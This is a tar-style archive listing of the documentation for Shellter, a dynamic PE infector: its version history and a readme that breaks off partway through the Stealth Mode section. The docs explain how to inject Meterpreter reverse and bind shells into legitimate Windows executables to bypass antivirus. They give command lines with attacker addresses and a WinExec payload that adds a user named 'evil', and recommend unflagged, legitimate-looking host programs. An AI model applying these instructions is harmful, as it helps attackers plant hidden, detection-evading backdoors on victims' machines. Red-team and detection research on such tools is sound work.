shellter/0000755000175000017500000000000013624213376012247 5ustar sophiesophieshellter/docs/0000755000175000017500000000000013054633520013171 5ustar sophiesophieshellter/docs/version_history.txt0000644000175000017500000010500713624213512017201 0ustar sophiesophieShellter v1.0 ............... Released 27d/5m/2014 Shellter v1.1 ............... Released 21d/06m/2014 [+] Added Advanced/Basic Mode Selection [+] Verify that PE image file is indeed a native 32-bit application. [+] Minor changes in error notifications. [+] Internal source code optimizations. Shellter v1.2 ............... Released 06d/07m/2014 [+] Fixed file share permissions conflicts when injecting to some installers (NSIS). Reported by : James Chapman [+] Added user notification if EntryPoint is not located in the first section. [+] Internal optimizations. Shellter v1.3 ............... Released 26d/07m/2014 [+] Added timed tracing in Basic Mode. Shellter will trace a random number of instructions, for a maximum time of approximately 30 seconds. Shellter v1.4 ............... Released 28d/07m/2014 [+] Fixed not showing logo issue when running Shellter in low resolution. Reported by: Nikolaos Tsapakis Shellter v1.5 ............... Released 02d/08m/2014 [+] Fixed a potential error issue during process creation. [+] Added CREATE_NEW_CONSOLE flag to avoid I/O issues when tracing console applications. [+] Fixed a potential invalid pointer dereference issue when parsing a malformed PE file. Shellter v1.6 ............... Released 04d/08m/2014 [+] Fixed a potential uninitialized variable access issue. [+] Minor updates in PE file validation method. [+] Other minor updates/optimizations. Shellter v1.7 ............... Released 06d/08m/2014 [+] Minor updates/optimizations. Shellter v1.7 Wine Beta #1 ............................ Released 12d/08m/2014 [+] Native Windows & Wine/CrossOver Compatible. [+] Optimized tracer. Up to 3 times faster when tracing over code that makes frequent calls to functions outside the PE image. Testing has been applied using this build vs the Windows-Only build by tracing the same PE target for a relatively big number of instructions. [+] Removed tracing option: 'Start Trace from EntryPoint/System DLL'. This option was mostly for testing and it will probably be replaced with another. This option is still available in the Windows-Only compatible build. Known issues: In some cases, the tracer might return RMEM_ERROR_02 and stop tracing.You can still use the traced execution flow up to that point and proceed with the injection stage. I am currently trying different approaches to solve issues that might influence the tracing stage, even though these are quite rare. These issues don't apply in the Windows-Only compatible build. Shellter v1.8 ............... Released 01d/11m/2014 [+] Merged Native Windows & Windows/Wine Tracing Engines. [+] Added command line support for the Basic Mode. Start Shellter using '--h' argument to get more information regarding the supported arguments. [+] Added option to choose Tracing Engine. Only applies under Native Windows.* [+] Removed tracing option: 'Start Trace from EntryPoint/System DLL'. Knows issues: See notes in the previous update regarding the Windows/Wine tracing engine. These issues don't apply when choosing the Native Windows tracing engine. *Note: When running under Wine, the Tracing Engine is selected automatically. Shellter v1.9 ............... Released 22d/11m/2014 [+] Automated usage of encoded-payload handlers in Basic Mode. Even when operating under Basic Mode, Shellter will take advantage of this feature that was only available from Advanced Mode so far. Shellter will only change section's permissions if the PE target doesn't support any of the available methods, or if the user changes this setting from the cmdline. [+] Enhanced cmdline support. Allows the user to customise Basic Mode operation and make use of some features and options that were previously only available in Advanced Mode. *Note: When using the Basic Mode with cmdline flags, if an encoded payload is specified then the user needs to set both the '--enc' flag as well as the '--handler'. Start Shellter using '--h' to see how to use the cmdline options. [+] Fixed a potential read-out-of-bounds issue in the cmdline parser. [+] Minor UI and internal optimizations. Shellter v2.0 ............... Released 16d/12m/2014 [+] Added user notification about the minimum required Win OS version for the target PE. This allows the user to avoid situations where he makes use of an application that will not run properly in the victim host in case there is an earlier version of Windows. [+] Enhanced UI with more user-friendly output. [+] Cmdline updates. Changed help menu switch to '-h' and '--help', and verbose mode to '-v'. [+] Completely removed manual tracing engine selection. Shellter will pick up the appropriate one depending on whether you run it in a native Windows host or in Wine. This means that the user is no longer allowed to select the Wine compatible engine when running Shellter in a native Windows host. [+] All-threads tracing option is not shown as 'Beta' feature. [+] Various optimizations in both tracing engines. [+] Updated Wine/Crossover compatible tracing engine. Solved compatibility issues with some applications, and some known issues that were mentioned in the previous updates. [+] Fixed a shared access violation issue that occurred sometimes when updating the CheckSum field in the PE header. This issue didn't affect the rest of the injection process. [+] Added an icon in the executable. Shellter v2.1 ............... Released 01d/02m/2015 [+] Fixed a couple of potentially bug causing issues. [+] Added several extra checks to enhance error handling during injection stage. [+] Displays the name of the PE section where the shellcode was injected. [+] Minor updates/optimizations. Shellter v2.2 ............... Released 07d/02m/2015 [+] Automatic Backup of the original PE file. [+] Minor changes in error-display notifications. Shellter v3.0 ............... Released 18d/05m/2015 [+] Polymorphic IAT type handlers for encoded payloads. This is a major upgrade which dramatically enhances polymorphism in the final output. This feature breaks down the stubs of those handlers and binds them with thread context aware polymorphic code. [+] Introduced Auto/Manual mode selection. This was a necessary change since the originally called 'Basic' mode was far from basic for some time now. So Basic/Advanced mode selection has been dropped. [+] Introduced injection verification stage. After successful injection, Shellter will verify that the first instruction of the injected code will be reached successfully. If polymorphic code has been added, then the first instruction refers to that and not to the effective payload. [+] Introduced '--polyIAT' switch and the option to obfuscate the chosen IAT type handler in 'Auto' and 'Manual' modes respectively. They both take advantage of the same feature. *Note: When using Auto mode without cmdline arguments, this feature is enabled by default. If cmdline arguments are used, the aforementioned switch has to be set to enable this feature. [+] When using Shellter with Wine, the associated operation mode is not shown as 'Beta' anymore. [+] Several optimizations in adjusting IAT type handlers. [+] Several internal design optimizations. [+] Some minor changes/updates/optimizations. Shellter v3.1 ............... Released 30d/05m/2015 [+] Automatic adjustment of the console fonts when running Shellter in Windows >= Vista. Applies also in Wine with the appropriate settings. [+] Shellter console is now automatically positioned at the centre of the main monitor. [+] Fixed a typo in IAT handler obfuscation stage: T.C.A was showing as C.T.A. [+] Displays the amount of time elapsed during IAT handler obfuscation. Shellter v4.0 ............... Released 05d/07m/2015 [+] Custom Proprietary Encoder. This a major upgrade that facilitates direct usage of non-encoded payloads generated by metasploit, or created by the user. Shellter will apply its own random dynamic encoding layer and will generate every time a new decoder based on that. Cmdline switch: --encode [+] Polymorphic Decoder. Shellter can apply an extra layer of obfuscation over the generated decoder by using thread context aware polymorphic code. Cmdline switch: --polydecoder [+] Dynamic Thread Context Keys. Another major upgrade and unique feature of Shellter. This feature automates the usage of dynamic thread context information of the original execution flow of the application as encoding keys. Cmdline switch: --DTCK [+] Reflective DLL loaders support. Another major upgrade feature which allows the user not just to use raw shellcode, but even an entire DLL file that contains a a reflective loader function. The user can even choose to encode the entire DLL by using Shellter's proprietary encoder as mentioned above. Feature suggested by: Tom Wilson Cmdline switch: --reflective [+] Embedded Payloads. This new feature, allows the user to make use of some commonly used payloads without the need to generate them through metasploit. The user can choose to apply Shellter's encoder as mentioned above. It is always recommended to use encoded payloads. If a payload is not encoded, like those embedded in Shellter, then encode it through Shellter by using the --encode cmdline switch. Payloads List ------------- [1] meterpreter_reverse_tcp [2] meterpreter_reverse_http [3] meterpreter_reverse_https [4] meterpreter_bind_tcp [5] shell_reverse_tcp [6] shell_bind_tcp [7] WinExec Examples: -p meterpreter_reverse_tcp --port 5656 --ip 192.168.0.6 -p winexec --cmd calc.exe [+] Enhanced injection selection point. This feature enhances the randomization regarding the injection point when using Shellter in Auto mode. [+] Extra cmdline switches. --list: Shows a list of the embedded payloads. --encode: Apply Shellter's encoder over the payload. --polydecoder: Obfuscate the generated decoder by using thread context aware polymorphic code. --DTCK: Experimental feature that uses dynamic thread context information from the original execution flow of the target PE as keys for payload encoding. --reflective : Marks the submitted payload as a DLL and defines the function name of the reflective loader. --ip: Specifies the IPv4 address used by the reverse connection payloads. --port: Specifies the port number used by the reverse and bind connection payloads. --cmd: Specifies the cmdline argument for the WinExec payload. [+] All threads tracing is now enabled by default even when cmdline is used. Specifying '--trace all' is now obsolete. However, the user can choose to only trace the main thread by specifying '--trace main' in the cmdline. However, this is not recommended. [+] Increased console buffer when using Shellter under Wine. The user can now scroll up the console output and review the available information. [+] Fixed a bug that occasionally caused wrong adjustment of some injected random Call instructions during IAT handler obfuscation. This bug was eventually triggered with calc.exe and notepad.exe only when the aforementioned feature was used, so it took some time to realize its existence. [+] Various optimizations, changes, and bug fixes. Shellter V ............ Released 08d/08m/2015 [+] Stealth Mode. This is a major upgrade that combines dynamic PE infection with a RedTeam functionality. This means that while you are not losing any of the unique benefits of the dynamic PE infection that Shellter provides, you can also preserve the original functionality of the infected application. This means, that the application will run as it should, while the execution of the payload is completely transparent to the user. When you enable this feature, Shellter automatically enables its own encoder and IAT type handling. In a few words, when Stealth Mode is enabled the --enc, --encode, and handler --IAT flags are automatically set. So you don't have to specify them yourself. Example: shellter -f -p --stealth --polydecoder --polyiat --junk Example: shellter -f -p meterpreter_reverse_tcp --port 4545 --ip 192.168.0.6 --stealth --polyIAT --polyDecoder --junk Important: Take a look at the documentation of this feature in readme.txt, before using it. [+] Dynamic Injection of Multiple Payloads. Thanks to the combination of the Stealth Mode with the dynamic PE infection that Shellter provides, you can infect multiple times the same PE file using different payloads as long as you always enable the Stealth Mode feature. For example, you can inject a "meterpreter_reverse_tcp" stager and then infect again the same PE file with an "Add User" payload, and so on. Every layer of infection will be using a unique dynamic approach with a different encoding, a randomly picked up IAT handler, and extra obfuscation if you choose to apply this by using the --polyDecoder and --polyIAT switches. In addition, you can use the --junk switch to add some extra junk polymorphic code. [+] Added -s / --stealth command line switches to enable Stealth Mode when using Shellter from the command line. [+] Added option to enable Stealth Mode feature from the Manual Mode, and from the Auto Mode when command line arguments have not been used. [+] Deletes dropped Disasm.dll when Shellter terminates normally. [+] Various updates, fixes, optimizations. Shellter V [5.1] .................. Released 12d/08m/2015 [+] Fixed a shared-access-violation issue during injection stage, which was occasionally caused by a Close/Open file handle race condition when Stealth Mode was enabled. [+] Fixed an issue with the embedded WinExec payload which would cause the process of the infected PE file to be terminated after the execution of the payload had finished, even though Stealth Mode was used. [+] Default time tracing in Auto Mode is 30 seconds when using Shellter inside native Windows hosts and 60 seconds when using Shellter in Wine. I decided to increase the tracing time in the second case because the whole tracing process is much slower in Wine. In this way we manage to compensate against the slower tracing speed that is inevitable when we use Shellter in Wine. [+] Minor changes, fixes, optimizations. Shellter V [5.2] .................. Released 11d/10m/2015 [+] Added domain names support for the embedded Meterpreter_Reverse_HTTP/HTTPS payloads. Note: You can always use domain names even with payloads not embedded in Shellter. You just need to generate the payload in raw format so that you can feed it to Shellter as a file. This was always supported. [+] Introduced the --lhost switch for specifying the attacker's server by IP or domain name. [+] The --ip switch has been dropped (see above). [+] Introduced --examples switch to show usage examples which were previously shown in the help menu. [+] Enhanced command line parser. Added some extra checks over the supported arguments. Shellter will notify the user in case a switch/option specified is either not supported or potentially not used correctly. [+] Fixed a design issue that wouldn't allow the user to choose one of the embedded payloads if the name was mistyped in the command line. In that case Shellter would only accept a payload from a file. This has now been fixed so that if the user mistyped either the name of the embedded payload or the name of the file containing the payload data; Shellter will always give the option to choose again between a listed or a custom one. [+] Fixed a potential usage of an unitialized pointer while reading the payload data from a file when specific settings were enabled. [+] A few updates/corrections in the documentation (readme.txt) file. [+] Various internal updates and optimizations. Shellter V [5.3] .................. Released 24d/10m/2015 [+] Enhanced 'Junk' and 'Thread Context Aware' Polymorphic code generation engines. More instructions are now supported for a more randomized output. [+] Ultra fast polymorphic code generation. [+] Tracing Engine modifications. Up to version 5.2 Shellter would keep tracing the main thread even if more than one threads were created while the user had chosen to trace only the main one. This could potentially cause some issues, since during execution flow filtering Shellter would be not aware of what and where was executed in another thread. From version 5.3 if the user chooses to only trace the main thread, or log dynamic thread context information to use dynamic thread context keys, then once a new thread is created Shellter will exit the tracing stage in order to be able to provide more reliable results during the execution flow filtering. In Auto Mode All-Threads-Tracing is enabled by default, but if command line is used, then it can be disabled using the '--trace main' switch. In Manual Mode, Shellter will ask the user to choose between the two. [+] Fixed a design error that was introduced by a recent update which would allow a user to specify an empty 'CMD' command string when the embedded WinExec payload was used. [+] Various internal updates and optimizations. Shellter V [5.4] .................. Released 31d/10m/2015 [+] User Defined Encoding Sequence. This feature allows the user to optionally choose a personalised encoding scheme based on the supported encoding operators. In Manual Mode, Shellter will ask the user to enable this feature or not. In Auto mode, this feature is only available through the command line by extending the --encode switch with the encoding sequence between '{}'. When the user specifies the encoding sequence in Manual mode, then the '{}' characters must not be entered. Auto mode - Command line Example: --encode {!^+} Manual mode - Enter Encoding Sequence: !^+ When Auto mode is used through the command line, if the user only sets the --encode switch without specifying an encoding scheme, Shellter will build its own random encoding sequence as it was done until now. Note: Before using this feature, it is recommended that you read about it in the documentation regarding Shellter's proprietary encoder. This feature should only be used by advanced users. [+] Help menu updates. [+] A few updates/corrections in the documentation (readme.txt) file. [+] Updated usage examples with proper explanation on the given command line. Run shellter with the --examples switch to display them. [+] Various internal updates and optimizations. Shellter V [5.5] .................. Released 31d/10m/2015 [+] Fixed an error in the user-defined-encoded-sequence parser that would make Shellter recognize valid sequences as invalid, thus making this feature unusable from Manual mode. Reported by: @fancy__04 [+] Updated the XOR encoding operator from '^' to 'x'. The original operator was fine when testing this new feature from visual studio, but apparently using the '^' character in Windows command prompt is really a bad idea. I totally forgot about this since, Visual Studio uses the command line as a parameter to CreateProcess(), which in that case there is no issue. The impact was that the XOR operations were eliminated from the supplied encoding sequence when using the command line. Example using the new XOR operator: --encode {!x-x+} [+] Applied all relevant documention updates. Shellter V [5.6] .................. Released 07d/11m/2015 [+] Added an extra verification check over the user-defined-encoding-sequence feature that checks for insecure concatenations of encoding operators. It aims to protect this feature from being used in a totally wrong way. However, it is still recommended that this feature should only be used by advanced users. [+] Fixed an error in the user-defined-encoding-sequence buffer initialization which could cause later to ignore the user supplied sequence and trigger the random encoding scheme generation from Shellter. In that case the payload would be encoded, but without using the encoding scheme that was defined by the user. [+] Decreased the maximum of extra delay that is applied before the execution of the payload, when Stealth mode is not enabled. [+] Several internal optimizations. Shellter V [5.7] .................. Released 14d/11m/2015 [+] Enhanced thread-context-aware polymorphic code engine. More instructions supported with even more randomized output. [+] Optimized CTRL event listener. In tracing mode, the user can still interrupt that stage and proceed with the rest of the injection process by pressing CTRL+C, but after this stage Shellter disables processing CTRL+C as a signal in order to protect itself from being accidentally terminated during the injection stages. In case an error occurs, or at successful completion of injection, processing of CTRL+C is re-enabled. [+] Automatic deletion of the dropped Disasm.dll module even when Shellter is terminated by closing the console window. If multiple instances of Shellter are running, then the aforementioned module will be deleted once the last instance of Shellter is terminated. Note: This doesn't apply in case Shellter is terminated by another process, such as the task manager. [+] Added a user reminder at the PE file backup stage. Always remember that the .bak file is the previous state of what you are going to generate. In other words, the first time you infect a PE file, the .bak file is the clean PE file. If you decide to add another payload to that PE file, then the new .bak file is the PE file already infected with one payload. [+] Updated section 8 of the current documentation (readme.txt) file. [+] Various internal updates and optimizations. Shellter V [5.8] .................. Released 22d/11m/2015 [+] Command line parser modifications. A few changes have been made in the command line parser to ensure that certain arguments are passed in a specific order. This modification will later serve one of the new features of the upcoming advanced edition of Shellter. In particular, when specifying one of the embedded payloads, then the options for that payload (--lhost, --port, --cmd) must now follow immediately after. Examples: -p meterpreter_reverse_tcp --lhost 192.168.0.9 --port 3465 -p meterpreter_bind_tcp --port 4565 -p winexec --cmd "cmd.exe /c net user evil password /ADD" [+] Shellter will now exit automatically when command line arguments have been used, in order to facilitate it's usage through scripting. [+] When '-h/--help' and '--examples' command line arguments are used, Shellter will now print all the output at once, so that the user can easily save it into a file and read it from there. [+] List of usage examples has been updated. Run Shellter using --examples argument to display them. [+] Minor updates/corrections in the documentation and in the help menu. Run Shellter using -h/--help arguments to display the list of supported arguments with further explanation. [+] Various internal updates and optimizations. Shellter V [5.9] .................. Released 20d/12m/2015 [+] Enhanced thread-context-aware polymorphic code engine. More instructions are now supported, to produce an even more randomized output. [+] Various internal updates and optimizations. Shellter VI [6.0] ................... Released 23d/01m/2016 [+] Extra IAT handler for encoded payloads and Stealth mode support. Shellter can now also use a 'GetModuleHandle/GetProcAddress' combination, and brings the total number of available IAT handlers to eight. This increases Stealth mode compatibility with even more PE files. [+] Optional 'Online version check' feature. When using Manual mode, or Auto mode without command line arguments, Shellter will ask for the user's authorization to perform this check. When command line arguments are used, this feature is disabled by default, but it can be enabled by adding the '--VersionCheck' switch along with the rest of the arguments. This feature is not available from Wine mode. [+] Extra validation check in the third stage filtering that picks the available injection locations for DTCK usage. [+] Extra validation check for virtual address ranges selection used by several functions of the engine that generates polymorphic code for obfuscation purposes. [+] Before accessing a target file, Shellter will attempt to change its attributes to FILE_ATTRIBUTE_NORMAL. Some files might have some extra attributes enabled, such as 'READ_ONLY' which are preserved when we copy a file from one directory to another. By enabling Shellter to change these attributes, we ensure that the user doesn't have to be aware of this issue, thus eliminating usage problems. [+] Various internal updates and optimizations. Shellter VI [6.1] ................... Released 20d/02m/2016 [+] Minor documentation updates. [+] Minor updates and optimizations. Shellter VI [6.2] ................... Released 27d/03m/2016 [+] Optimizations in thread-context-aware polymorphic code engine. [+] Minor speed optimizations in the tracing engine. [+] If Shellter finds a dropped DisASM.dll that is not being used by another instance of Shellter, then it will replace it and load the new copy. [+] Enhanced backup functionality. Shellter will now create a 'Shellter_Backups' directory and will move there the original PE files. If the user intentionally re-infects the same PE file, Shellter will not overwrite anymore the original backup, but it will notify the user about the fact that the current PE file in use might be infected already. [+] Shellter will now enable the SE_DEBUG_NAME privilege when running as Administrator. This solves some situations where Shellter cannot detach from the child process to complete the payload injection if the latter modifies the ACEs in its own ACL with more restrictive permissions. [+] Added extra system-defined error message formatting. Shellter will display an additional human readable explanation defined by Windows OS, based on the error code number. This can assist the user to troubleshoot some issues that are not actually bugs in Shellter. [+] Addressed some extra SDL checks. [+] Various internal updates and optimizations. Shellter VI [6.3] ................... Released 20d/04m/2016 [+] Fixed a bug in the validation of the user-supplied encoding sequence in Manual Mode. [+] Several optimizations in the tracing engine. [+] Minor updates and optimizations. Shellter VI [6.4] ................... Released 30d/04m/2016 [+] Fixed a bug in the 'Time Travel' feature. In case Shellter doesn't find an appropriate location, based on the traced execution flow, to inject the generated code along with the payload, then it restores a previous state. This allows the user to re-configure what to inject. However, due to an error in sanitizing some variables, the new injection attempt would fail anyway. [+] Fixed a bug that caused a "RMEM_ERROR_01" type error when using Shellter in Wine. This bug was introduced in the previous update by not correctly updating a variable after applying some updates in the code. [+] Fixed an update regarding enabling the SE_DEBUG_NAME privilege to solve some rare cases where the traced application might further restrict the access to its own object. [+] Multiple optimizations in the tracing engine. [+] Other minor updates. Shellter VI [6.5] ................... Released 14d/05m/2016 [+] Fixed a logic error in the IAT Handlers feature. Under certain conditions, Shellter might have used the unicode version of GetModuleHandle function with an IAT Handler stub dedicated for the Ascii input version version of it. [+] Fixed a typo issue in the command line parser that wouldn't allow to set the embedded bind_shell_tcp stager as payload from the command line. [+] Fixed a logic error in the command line parser that was triggered when specifying first '--stealth/-s' and then '--handler iat/section' arguments. When stealth mode is enabled, the iat type handler is automatically set, so there is no need to be specified by the user. In this case the parser would enter the execution path to check the handler type specified, but since that was already set it would be treated as new argument which is invalid by itself. [+] Added "[stager]" indicator next to the name of the appropriate embedded payloads. [+] Other minor updates and optimizations. Shellter VI [6.6] ................... Released 14d/09m/2016 [+] Fixed a command line parsing bug that wouldn't allow to use reflective DLLs as payloads when using auto mode in conjuction with command line arguments. [+] Added a note about '--lhost' parameter in the help menu. [+] Other minor updates. Shellter VI [6.7] ................... Released 05d/10m/2016 [+] Minor updates related to size checks of custom payload and polymorphic code files submitted by the user. [+] Fixed a file handle leak in the function that validates the file size of the custom payload file. [+] Minor documentation updates. [+] Other minor updates. Shellter VI [6.8] ................... Released 01d/11m/2016 [+] Fixed a bug related to processing custom payload filenames in Manual Mode. Auto Mode was not affected. The buffer storing the filename was not re-initialized in case the first attempt to define the filename failed. Reported by: @fancy__04 [+] Command line parser updates regarding the --Reflective parameter/argument. The parser will now make a couple of extra checks to make sure that it has been used correctly. [+] Fixed a potential file handle leak in the function that reads a custom payload from a file. We now close the handle before exiting this function. This handle was previously closed later on, once the payload injection was completed. [+] Other minor updates. Shellter VI [6.9] ................... Released 27d/02m/2017 [+] Fixed a NULL pointer dereference bug in the function that parses the exports table of reflective DLLs used as payloads and calculates the offset of the reflective loader function. This would normally trigger if the user submitted a packed DLL with the exports table preserved. In that case the exported function would be located but further information extraction would fail due to the packed state of the PE file. Shellter will now handle this and report an error message. However, it is not recommended to submit packed PE files. Reported by: Max Alex [+] Added some extra proprietary error codes to assist troubleshooting in case a related bug is reported. [+] Added some extra checks in the command line parser for '--polyIAT' and '--polyDecoder' arguments. Shellter will now verify that '--handler IAT' and/or '--encode' arguments have been set before using any of the aforementioned obfuscation enabling arguments. [+] Minor updates in the function the adjusts the embedded payloads. [+] Other minor updates. [+] The displayed in-app logo was changed with a more minimalistic one which fits a lot better the console view of the application. Shellter v7.0 ................... Released 18d/07m/2017 [+] Maintenance release that includes bug fixes and minor improvements that were addressed during the development of Shellter Pro between versions 1.0 to 2.2. Shellter v7.1 ............... Released 01d/12m/2017 [+] Fixed a bug in the last stage of Stealth Mode. This was due to rarely manifested issue that would cause an ERROR_INVALID_USER_BUFFER Windows error (code: 1784). [+] Fixed a tracer issue in Windows 10. Noticed that in Windows 10 Shellter would detect a few spawned system threads during process initialization. However, because this happens before the actual tracing starts if the user disables tracing of all threads via Manual Mode, or the target is a DLL, and/or DTCK is enabled, then the tracing stage stops before even starting. This happens because in those cases Shellter will stop tracing once an additional thread is created. Since those system threads are irrelevant with Shellter's technical details, the tracer was updated to ignore those system threads on process initialization. [+] Fixed Windows error codes translation to error messages in Windows 10. [+] Fixed console and font size adjustment in Windows 10. [+] Other minor adjustments. Shellter v7.2 ............... Released 22d/02m/2020 [+] Added an extra detection method for Wine environment. A recent update in Wine broke the original detection method which is necessary in order for Shellter to operate in 'Wine Mode'. The original detection method still applies in order to maintain compatibility with previous Wine versions. [+] Minor update in the tracer. shellter/docs/readme.txt0000644000175000017500000006733513623334742015213 0ustar sophiesophie ________ ___ ___ _______ ___ ___ _________ _______ ________ |\ ____\|\ \|\ \|\ ___ \ |\ \ |\ \ |\___ ___\\ ___ \ |\ __ \ \ \ \___|\ \ \\\ \ \ __/|\ \ \ \ \ \\|___ \ \_\ \ __/|\ \ \|\ \ \ \_____ \ \ __ \ \ \_|/_\ \ \ \ \ \ \ \ \ \ \ \_|/_\ \ _ _\ \|____|\ \ \ \ \ \ \ \_|\ \ \ \____\ \ \____\ \ \ \ \ \_|\ \ \ \\ \| ____\_\ \ \__\ \__\ \_______\ \_______\ \_______\ \__\ \ \_______\ \__\\ _\ |\_________\|__|\|__|\|_______|\|_______|\|_______|\|__| \|_______|\|__|\|__| v7.2 \|_________| www.ShellterProject.com Index ======= [1] What is it? [2] How does it work? [3] What does it trace? [4] Why do I need Shellter? [5] What types of applications can I use? [6] Can I use encoded/self-decrypting payloads? [7] Does Shellter provide any type of encoding? [8] What does 'Dynamic Thread Context Keys' aka DTCK mean? [9] Does Shellter provide any ready to use payloads? [10] What is the Stealth Mode? [11] What is Thread Context Aware polymorphic code? [12] What is Reflective DLL loading? [13] What about self-modifying code? [14] What about relocations? [15] What about Multi-Thread Applications? [16] What about Anti-Reversing tricks? [17] What if the target process dies during tracing? [18] What if an internal engine related error occurs? [19] How do execution flow filters work? [20] How much time does it need for tracing and log filtering? [21] What options does Shellter provide? [22] What is the purpose of verification stage? [23] System Requirements [24] What should I do if I want to send feedback? [25] What should I do if I want to report a bug? [26] What should I do if I don't like it? [1] What is it? ================ Shellter is a dynamic shellcode injection tool aka dynamic PE infector. It can be used in order to inject shellcode into native Windows applications (currently 32-bit apps only). The shellcode can be something yours or something generated through a framework, such as Metasploit. Shellter takes advantage of the original structure of the PE file and doesn't apply any modification such as changing memory access permissions in sections (unless the user wants to), adding an extra section with RWE access, and whatever would look dodgy under an AV scan. Shellter is not just an EPO infector that tries to find a location to insert an instruction to redirect execution to the payload. Unlike any other infector, Shellters advanced infection engine never transfers the execution flow to a code cave or to an added section in the infected PE file. [2] How does it work? ====================== Shellter uses a unique dynamic approach which is based on the execution flow of the target application. This means that no static/predefined locations are used for shellcode injection. Shellter will launch and trace the target, while at the same time will log the execution flow of the application. [3] What does it trace? ======================== Shellter traces the entire execution flow that occurs in userland. That means, code inside the target application itself (PE image), and code outside of it that might be in a system dll or on a heap, etc... This happens in order to ensure that functions actually belonging to the target executable, but are only used as callback functions for Windows APIs will not be missed. During tracing, Shellter will not log or count any instructions that are not in the memory range of the PE image of the target application, since these cannot be used as a reference to permanently inject the shellcode. [4] Why do I need Shellter? ============================ Bypass AVs. Executables created through Metasploit, or other penetration testing frameworks, are most likely detected by most AV vendors. By using Shellter, you automatically have an infinitely polymorphic executable template, since you can use any 32-bit 'standalone' native Windows executable to host your shellcode. By 'standalone' means an executable that is not statically linked to any proprietary DLLs, apart from those included by default in Windows. You can also use applications that make use of proprietary DLLs if those are not required to create the process in the first place, and are normally loaded later on if needed to execute code for a specific task. In case you select an application that needs one or more proprietary DLLs to create the process in the first place then you will have to include them in the same directory from where you load the main executable. However, this is not recommended since it is more convenient to have just a single executable to upload to the target. [5] What types of applications can I use? ========================================== You can basically use any 32-bit standalone (see above) native Windows application. Of course, since the main goal is to bypass an AV, you should always avoid packed applications or generally applications that have 'dodgy' characteristics such as sections with RWE permissions, more than one sections containing executable code etc.. Another reason why you should avoid packed applications is because advanced packers will also check for modifications of the file, so you will probably just break it. Advanced packers also perform various anti-reversing tricks which will detect Shellter's debugging engine during tracing. If you are a lover of packers, you can first perform the injection and then pack the application with the packer of your choice. The best bet is to use completely legitimate looking applications (ideally not packed) that are not flagged by any AV vendor for any reason. These can be either yours, or something you got online. [6] Can I use encoded/self-decrypting payloads? ================================================ Shellter also supports encoded/self-decrypting payloads by taking advantage of the Imports Table of the application. It will look for specific imported APIs that can be used on runtime to execute a self-decrypting payload without doing any modifications in the section's characteristics from inside the PE Header. These handlers can also by dynamically obfuscated (see [11]). At the moment 8 methods are supported for loading encoded payloads: 0. VirtualAlloc 1. VirtualAllocEx 2. VirtualProtect 3. VirtualProtectEx 4. HeapCreate/HeapAlloc 5. LoadLibrary/GetProcAddress 6. GetModuleHandle/GetProcAddress 7. CreateFileMapping/MapViewOfFile If the target PE file doesn't import by default the necessary API(s) then a method wil be shown as 'N/A'. If a method requires more than one APIs, like for example method 4, it will also be shown as 'N/A' if the PE file doesn't import all the necessary ones. If none of the IAT handler methods supported are available for the current PE target, Shellter will change the section's characteristics from inside the PE Header. This last option has been added in order to provide more flexibility to the user in case he still wants to use a specific encoded payload along with the same PE file. When operating in Auto Mode, without command line arguments, Shellter will automatically try to find all available methods and will use one at random. If, the user has chosen to use these methods through the command line, but the PE target doesn't support any of them, then Shellter will notify the user and will automatically switch to section's characteristics modification. It is recommended to always use encoded payloads, because some AV vendors can easily pick up some common patterns in the shellcode generated by metapsloit. [7] Does Shellter provide any type of encoding? ================================================= Shellter v4.0 introduced its own proprietary dynamic encoder. The encoding engine will apply a random amount of XOR, ADD, SUB, NOT operations and it will generate the decoder every time based on the chosen operations. The sequence of those operations is also randomly chosen. Usage of registers in the generated decoder is also randomised in order to provide a more dynamic output. The decoder can also be obfuscated by setting the --polydecoder switch in command line. When using the Auto mode without command line arguments, Shellter will apply its own encoding and will obfuscate the decoder by default. This feature can be used either with non-encoded payloads and with already encoded ones as an extra layer of encoding. Shellter v5.4 introduced the 'User Defined Encoding Sequence' feature which enables the user to optionally define his own encoding sequence instead of allowing Shellter to generate it. Supported Encoding Operators: XOR --> x ADD --> + SUB --> - NOT --> ! Example #1: x!+x When the encoding sequence is defined from the command line, the operators need to be enclosed between '{}'. Example #2: --encode {x!+} In Manual mode you must not include the '{}' characters, just as in the first example shown above. This feature should only be used by advanced users that actually know what they are doing. If you can't figure out why the {xx+-} encoding sequence is a bad idea, then avoid messing up with this feature at all costs! In Shellter v5.6 an extra check has been added over the encoding sequence defined by the user in order to protect this feature from mistakes as the one mentioned above. However, keep in mind that erroneously using this feature, will cost you some extra AV detections. Remarks: The number of operators defined, must be between a minimum of 1 and a maximum of 12 operators. If you just use the --encode switch without defining a custom sequence of encoding operations, or if you use Auto mode without command line arguments, Shellter will randomly create and apply an encoding scheme by itself. This is recommended for most users. If you enable stealth mode using --stealh/-s switches, then the --encode switch is implied, but if you want to use a custom encoding scheme of your choice then you need to explicitly use the --encode switch as shown in Example #2. [8] What does 'Dynamic Thread Context Keys' mean? =================================================== This feature was introduced in Shellter v4.0 and automates the usage of dynamic thread context information from the original execution flow of the target application, as encoding keys. It will log the values of specific CPU registers on tracing and then will filter that data for those injection locations where at least one of the logged CPU registers has a value that can be reliably used for payload encoding and decoding or runtime. This is an experimental feature that eliminates the need of hardcoding the decoding key. In Auto mode, this feature can only be enabled from the command line by using the --DTCK switch. When this feature is used, a 3rd filtering stage is triggered which reduces even more the available injection locations based on the logged execution flow. For this reason, it is recommended to avoid enabling all other obfuscation features in conjunction with this one, because this might cause either no available injection locations due to the increaded size of the code to be injected, or very few of them. Choosing just to obfuscate the IAT handlers using the '--polyiat' switch should be fine. This is of course application specific, so you are always welcome to experiment on your own. [9] Does Shellter provide any ready to use payloads? ====================================================== Shellter v4.0 introduces a few embedded stager-payloads that are commonly used during security testing engagements. You can inject these payloads directly from Shellter, so you don't need to generate them anymore through metasploit. However, it is recommended that you encode them using the --encode flag in case you use the Auto mode with command line arguments or enable that option when you are asked,if you use the manual mode. If the Auto mode is used without command line arguments, then Shellter will always apply its own encoding by default. Payloads List ------------- [1] meterpreter_reverse_tcp [2] meterpreter_reverse_http [3] meterpreter_reverse_https [4] meterpreter_bind_tcp [5] shell_reverse_tcp [6] shell_bind_tcp [7] WinExec Examples: -p meterpreter_reverse_tcp --lhost 192.168.0.6 --port 5656 -p winexec --cmd "cmd.exe /c net user evil password /ADD" To use the above examples in Stealth Mode (see below), then just add '--stealth' or '-s' arguments. Reverse http/https payloads also accept domain names as --lhost parameter. [10] What is the Stealth Mode? =============================== This feature was introduced in Shellter V (v5.0). It combines the benefits of dynamic PE infection with RedTeam 